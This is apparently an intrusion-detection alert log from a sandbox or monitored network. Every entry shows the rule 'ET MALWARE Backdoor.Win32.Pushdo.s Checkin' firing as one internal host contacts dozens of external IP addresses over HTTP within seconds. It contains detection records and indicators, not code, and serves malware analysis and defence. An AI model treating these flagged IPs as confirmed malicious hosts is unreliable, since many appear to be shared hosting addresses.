2024-10-25T11:18:43.961278+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53303	192.124.249.20	80	TCP
2024-10-25T11:18:43.964177+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53305	70.39.251.249	80	TCP
2024-10-25T11:18:43.975895+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53307	118.27.125.181	80	TCP
2024-10-25T11:18:43.993685+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.022614+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53306	59.106.19.204	80	TCP
2024-10-25T11:18:44.026295+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53313	35.164.78.200	80	TCP
2024-10-25T11:18:44.045861+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53293	74.208.236.101	80	TCP
2024-10-25T11:18:44.050187+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53316	188.114.97.3	80	TCP
2024-10-25T11:18:44.061500+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.092900+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53166	137.118.26.67	80	TCP
2024-10-25T11:18:44.137434+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53314	144.76.24.9	80	TCP
2024-10-25T11:18:44.166681+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53315	213.186.33.40	80	TCP
2024-10-25T11:18:44.177282+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53309	80.93.82.33	80	TCP
2024-10-25T11:18:44.191798+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53284	213.165.251.217	80	TCP
2024-10-25T11:18:44.207125+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53311	18.245.31.21	80	TCP
2024-10-25T11:18:44.239627+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.298119+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53317	147.154.3.56	80	TCP
2024-10-25T11:18:44.302977+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.407196+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53315	213.186.33.40	80	TCP
2024-10-25T11:18:44.432637+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53320	188.114.97.3	80	TCP
2024-10-25T11:18:44.471791+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53319	3.19.116.195	80	TCP
2024-10-25T11:18:44.473572+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53318	188.166.152.188	80	TCP
2024-10-25T11:18:44.485009+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.521197+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53321	103.224.182.241	80	TCP
2024-10-25T11:18:44.548251+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.581910+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53322	34.149.87.45	80	TCP
2024-10-25T11:18:44.682927+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53324	104.26.7.221	80	TCP
2024-10-25T11:18:44.735744+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.795089+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.813316+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53328	104.21.88.198	80	TCP
2024-10-25T11:18:44.854935+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53331	185.15.129.58	80	TCP
2024-10-25T11:18:44.959592+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53328	104.21.88.198	80	TCP
2024-10-25T11:18:44.980447+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53325	142.250.186.147	80	TCP
2024-10-25T11:18:44.982121+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:45.030478+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53327	18.245.31.21	80	TCP
2024-10-25T11:18:45.067075+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53335	208.109.214.162	80	TCP
2024-10-25T11:18:45.077498+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53326	85.131.197.10	80	TCP
2024-10-25T11:18:45.091265+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53330	5.196.166.214	80	TCP
2024-10-25T11:18:45.094692+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53329	211.1.226.67	80	TCP
2024-10-25T11:18:45.144515+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53323	170.82.174.30	80	TCP
2024-10-25T11:18:45.214868+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53335	208.109.214.162	80	TCP
2024-10-25T11:18:45.218012+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53337	103.224.182.241	80	TCP
2024-10-25T11:18:45.246819+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53339	54.161.222.85	80	TCP
2024-10-25T11:18:45.308514+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53327	18.245.31.21	80	TCP
2024-10-25T11:18:45.338320+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53332	93.187.206.66	80	TCP
2024-10-25T11:18:45.378073+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53336	89.161.163.246	80	TCP
2024-10-25T11:18:45.381393+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53340	13.248.252.114	80	TCP
2024-10-25T11:18:45.385877+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53329	211.1.226.67	80	TCP
2024-10-25T11:18:45.386139+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53326	85.131.197.10	80	TCP
2024-10-25T11:18:45.396667+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53338	23.227.38.74	80	TCP
2024-10-25T11:18:45.460531+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53343	188.114.97.3	80	TCP
2024-10-25T11:18:45.523986+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53341	62.122.190.121	80	TCP
2024-10-25T11:18:45.567128+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53323	170.82.174.30	80	TCP
2024-10-25T11:18:45.627706+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53343	188.114.97.3	80	TCP
2024-10-25T11:18:45.681981+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53200	193.166.255.171	80	TCP
2024-10-25T11:18:45.716813+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53344	139.59.171.124	80	TCP
2024-10-25T11:18:45.740334+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53334	74.208.236.101	80	TCP
2024-10-25T11:18:45.791019+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53346	192.252.154.18	80	TCP
2024-10-25T11:18:45.805363+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53349	188.114.97.3	80	TCP
2024-10-25T11:18:45.805521+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53341	62.122.190.121	80	TCP
2024-10-25T11:18:45.830175+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53347	13.248.252.114	80	TCP
2024-10-25T11:18:45.968800+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53350	54.161.222.85	80	TCP
2024-10-25T11:18:45.977578+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53348	35.164.78.200	80	TCP
2024-10-25T11:18:45.978210+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53344	139.59.171.124	80	TCP
2024-10-25T11:18:46.169359+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53342	104.26.15.53	80	TCP
2024-10-25T11:18:46.239777+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53355	103.224.182.241	80	TCP
2024-10-25T11:18:46.267317+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53352	211.1.226.67	80	TCP
2024-10-25T11:18:46.313104+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53358	154.53.43.150	80	TCP
2024-10-25T11:18:46.322571+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53357	141.193.213.11	80	TCP
2024-10-25T11:18:46.337151+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53354	60.43.154.138	80	TCP
2024-10-25T11:18:46.453113+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53358	154.53.43.150	80	TCP
2024-10-25T11:18:46.499201+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53357	141.193.213.11	80	TCP
2024-10-25T11:18:46.550401+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53356	195.78.66.65	80	TCP
2024-10-25T11:18:46.558909+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53352	211.1.226.67	80	TCP
2024-10-25T11:18:46.575492+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53359	34.218.204.173	80	TCP
2024-10-25T11:18:46.627695+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53354	60.43.154.138	80	TCP
2024-10-25T11:18:46.636744+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53360	192.124.249.10	80	TCP
2024-10-25T11:18:46.822477+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53360	192.124.249.10	80	TCP
2024-10-25T11:18:46.908514+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53362	80.74.154.6	80	TCP
2024-10-25T11:18:46.946804+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53366	208.109.214.162	80	TCP
2024-10-25T11:18:46.989673+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53368	172.67.173.200	80	TCP
2024-10-25T11:18:46.995217+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53364	103.224.182.241	80	TCP
2024-10-25T11:18:47.025440+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53363	185.80.51.179	80	TCP
2024-10-25T11:18:47.108138+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53353	104.26.10.81	80	TCP
2024-10-25T11:18:47.119327+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53366	208.109.214.162	80	TCP
2024-10-25T11:18:47.129408+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53227	193.166.255.171	80	TCP
2024-10-25T11:18:47.148748+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53368	172.67.173.200	80	TCP
2024-10-25T11:18:47.184523+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53362	80.74.154.6	80	TCP
2024-10-25T11:18:47.276387+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53373	198.185.159.144	80	TCP
2024-10-25T11:18:47.316220+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53363	185.80.51.179	80	TCP
2024-10-25T11:18:47.337125+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53365	93.187.206.66	80	TCP
2024-10-25T11:18:47.357551+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53372	165.22.45.169	80	TCP
2024-10-25T11:18:47.499944+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53371	81.2.194.241	80	TCP
2024-10-25T11:18:47.553917+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53374	135.181.73.98	80	TCP
2024-10-25T11:18:47.556832+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53372	165.22.45.169	80	TCP
2024-10-25T11:18:47.784589+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53371	81.2.194.241	80	TCP
2024-10-25T11:18:47.785963+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53377	188.165.133.163	80	TCP
2024-10-25T11:18:47.840130+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53374	135.181.73.98	80	TCP
2024-10-25T11:18:47.848131+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53378	154.53.43.150	80	TCP
2024-10-25T11:18:47.952428+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53375	116.211.150.37	80	TCP
2024-10-25T11:18:47.984191+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53379	69.163.239.62	80	TCP
2024-10-25T11:18:48.011241+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53381	188.114.96.3	80	TCP
2024-10-25T11:18:48.068154+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53377	188.165.133.163	80	TCP
2024-10-25T11:18:48.172031+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53380	202.254.236.40	80	TCP
2024-10-25T11:18:48.345207+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53378	154.53.43.150	80	TCP
2024-10-25T11:18:48.387911+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53381	188.114.96.3	80	TCP
2024-10-25T11:18:48.426040+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53376	104.26.10.81	80	TCP
2024-10-25T11:18:48.435179+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53379	69.163.239.62	80	TCP
2024-10-25T11:18:48.474225+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53384	213.186.33.40	80	TCP
2024-10-25T11:18:48.520810+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53380	202.254.236.40	80	TCP
2024-10-25T11:18:48.751402+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53384	213.186.33.40	80	TCP
2024-10-25T11:18:48.892054+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53370	122.128.109.107	80	TCP
2024-10-25T11:18:49.001786+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53386	3.94.41.167	80	TCP
2024-10-25T11:18:49.157335+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53390	51.79.51.72	80	TCP
2024-10-25T11:18:49.183717+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53388	104.26.3.124	80	TCP
2024-10-25T11:18:49.268584+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53391	188.114.96.3	80	TCP
2024-10-25T11:18:49.342383+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53394	96.127.180.42	80	TCP
2024-10-25T11:18:49.364087+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53387	104.21.66.46	80	TCP
2024-10-25T11:18:49.433368+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53388	104.26.3.124	80	TCP
2024-10-25T11:18:49.461849+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53393	5.189.128.121	80	TCP
2024-10-25T11:18:49.486143+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53391	188.114.96.3	80	TCP
2024-10-25T11:18:49.516412+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53394	96.127.180.42	80	TCP
2024-10-25T11:18:49.548038+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53392	122.128.109.107	80	TCP
2024-10-25T11:18:49.570265+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53395	107.180.98.101	80	TCP
2024-10-25T11:18:49.735807+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53395	107.180.98.101	80	TCP
2024-10-25T11:18:49.740711+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53393	5.189.128.121	80	TCP
2024-10-25T11:18:49.749599+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53396	3.94.41.167	80	TCP
2024-10-25T11:18:49.898849+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53397	3.94.41.167	80	TCP
2024-10-25T11:18:50.367587+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53401	69.163.182.181	80	TCP
2024-10-25T11:18:50.371356+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53402	107.180.98.101	80	TCP
2024-10-25T11:18:50.420682+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53401	69.163.182.181	80	TCP
2024-10-25T11:18:50.487262+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53399	183.90.183.73	80	TCP
2024-10-25T11:18:50.527532+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53404	75.119.202.130	80	TCP
2024-10-25T11:18:50.563037+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53402	107.180.98.101	80	TCP
2024-10-25T11:18:50.578467+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53405	104.196.26.65	80	TCP
2024-10-25T11:18:50.582807+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53400	23.227.38.74	80	TCP
2024-10-25T11:18:50.627676+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53408	3.94.41.167	80	TCP
2024-10-25T11:18:50.744208+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53407	217.19.237.54	80	TCP
2024-10-25T11:18:50.821966+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53403	185.53.177.50	80	TCP
2024-10-25T11:18:51.076248+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53405	104.196.26.65	80	TCP
2024-10-25T11:18:51.125253+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53410	69.163.182.181	80	TCP
2024-10-25T11:18:51.419454+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53297	198.100.146.220	80	TCP
2024-10-25T11:18:51.548072+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53300	137.118.26.67	80	TCP
2024-10-25T11:18:51.597111+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53411	75.119.202.130	80	TCP
2024-10-25T11:18:51.687439+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53412	13.248.169.48	80	TCP
2024-10-25T11:18:51.860733+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53417	188.114.97.3	80	TCP
2024-10-25T11:18:51.983547+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53414	217.79.184.35	80	TCP
2024-10-25T11:18:52.011457+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53415	144.76.24.9	80	TCP
2024-10-25T11:18:52.091308+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.123345+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53416	195.78.66.65	80	TCP
2024-10-25T11:18:52.165073+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53413	185.53.177.50	80	TCP
2024-10-25T11:18:52.339182+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.346334+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53421	147.154.3.56	80	TCP
2024-10-25T11:18:52.426033+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53420	18.245.31.21	80	TCP
2024-10-25T11:18:52.587674+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.605004+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53422	188.166.152.188	80	TCP
2024-10-25T11:18:52.691449+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53420	18.245.31.21	80	TCP
2024-10-25T11:18:52.835121+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:52.851703+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53333	198.100.146.220	80	TCP
2024-10-25T11:18:52.892362+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53424	165.22.45.169	80	TCP
2024-10-25T11:18:53.079625+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53424	165.22.45.169	80	TCP
2024-10-25T11:18:53.082986+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53418	3.65.101.129	80	TCP
2024-10-25T11:18:53.096825+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53423	85.131.197.10	80	TCP
2024-10-25T11:18:53.251876+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53427	13.248.252.114	80	TCP
2024-10-25T11:18:53.413371+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53428	5.196.166.214	80	TCP
2024-10-25T11:18:53.551074+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53429	23.227.38.74	80	TCP
2024-10-25T11:18:53.635227+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53430	211.1.226.67	80	TCP
2024-10-25T11:18:53.834101+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53351	96.91.204.114	80	TCP
2024-10-25T11:18:53.917176+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53430	211.1.226.67	80	TCP
2024-10-25T11:18:54.003980+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53426	74.208.236.101	80	TCP
2024-10-25T11:18:54.158925+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53434	188.114.97.3	80	TCP
2024-10-25T11:18:54.171809+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53432	103.224.182.253	80	TCP
2024-10-25T11:18:54.387810+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53433	213.186.33.40	80	TCP
2024-10-25T11:18:54.404353+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53436	103.224.182.241	80	TCP
2024-10-25T11:18:54.419555+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53435	35.164.78.200	80	TCP
2024-10-25T11:18:54.469254+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53361	193.166.255.171	80	TCP
2024-10-25T11:18:54.645916+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53433	213.186.33.40	80	TCP
2024-10-25T11:18:54.759817+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53439	208.109.214.162	80	TCP
2024-10-25T11:18:54.855123+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53440	103.224.182.253	80	TCP
2024-10-25T11:18:54.929883+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53439	208.109.214.162	80	TCP
2024-10-25T11:18:55.084911+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53442	103.224.182.241	80	TCP
2024-10-25T11:18:55.136424+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53443	154.53.43.150	80	TCP
2024-10-25T11:18:55.304337+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53443	154.53.43.150	80	TCP
2024-10-25T11:18:55.368359+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53441	93.187.206.66	80	TCP
2024-10-25T11:18:55.543873+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53444	103.224.182.253	80	TCP
2024-10-25T11:18:55.722412+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53438	104.26.10.81	80	TCP
2024-10-25T11:18:56.008693+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53383	96.91.204.114	80	TCP
2024-10-25T11:18:56.417752+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53445	122.128.109.107	80	TCP
2024-10-25T11:18:56.702282+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53385	64.125.133.18	80	TCP
